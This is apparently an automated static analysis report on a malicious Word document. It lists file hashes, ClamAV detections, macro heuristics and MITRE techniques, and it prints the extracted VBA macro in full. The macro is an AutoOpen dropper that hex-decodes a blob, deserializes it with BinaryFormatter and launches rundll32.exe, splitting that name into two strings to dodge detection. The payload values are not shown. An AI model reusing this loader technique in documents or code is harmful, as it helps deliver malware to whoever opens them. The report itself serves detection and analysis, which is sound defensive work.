Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4fcf6e78a788f2b1…

MALICIOUS

Office (OLE)

34.5 KB Created: 2018-02-16 21:19:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: 107a4d5cf3653f3d0f633d12ec299f27 SHA-1: 2bad0bddf6a3e5a87cfc0f9ed0af56b0e5cd5c54 SHA-256: 4fcf6e78a788f2b1759c1d9c72a00d7ad4a7ae0d6324c39e89a87438836f74aa
284 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a Microsoft Word document containing VBA macros. The AutoOpen macro triggers the LegitFunction, which decodes a hex string and deserializes it using BinaryFormatter. This process ultimately leads to the execution of 'rundll32.exe' with arguments derived from the decoded payload, indicating a dropper functionality. The ClamAV detection 'Doc.Dropper.Agent-6450974-0' further supports this assessment.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6450974-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6450974-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1400 bytes
SHA-256: c253a899e8ef49b600c5ba26cb51af20b861209c22e4580fd1a50590e78faaa3
Detection
ClamAV: Win.Countermeasure.G2JS_Script_Generic_1-9818937-0
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "LinesOfBusiness"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public binary As String
Public code As String

Private Function decodeHex(hex)
    On Error Resume Next
    Dim DM, EL
    Set DM = CreateObject("Microsoft.XMLDOM")
    Set EL = DM.createElement("tmp")
    EL.DataType = "bin.hex"
    EL.Text = hex
    decodeHex = EL.NodeTypedValue
End Function

Function LegitFunction()
    
    Dim fdAsrir As String
    fdAsrir = "rundl"
    fdAsrir = fdAsrir & "l32.exe"

    

    Dim stm As Object, fmt As Object, al As Object
    Set stm = CreateObject("System.IO.MemoryStream")
    Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
    Set al = CreateObject("System.Collections.ArrayList")

    Dim dec
    dec = decodeHex(ooyur)

    For Each i In dec
        stm.WriteByte i
    Next i

    stm.Position = 0

    Dim n As Object, d As Object, o As Object
    Set n = fmt.SurrogateSelector
    Set d = fmt.Deserialize_2(stm)
    al.Add n

    Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(oour)
    o.flame fdAsrir, fauurArs
End Function

Sub AutoOpen()
LegitFunction
End Sub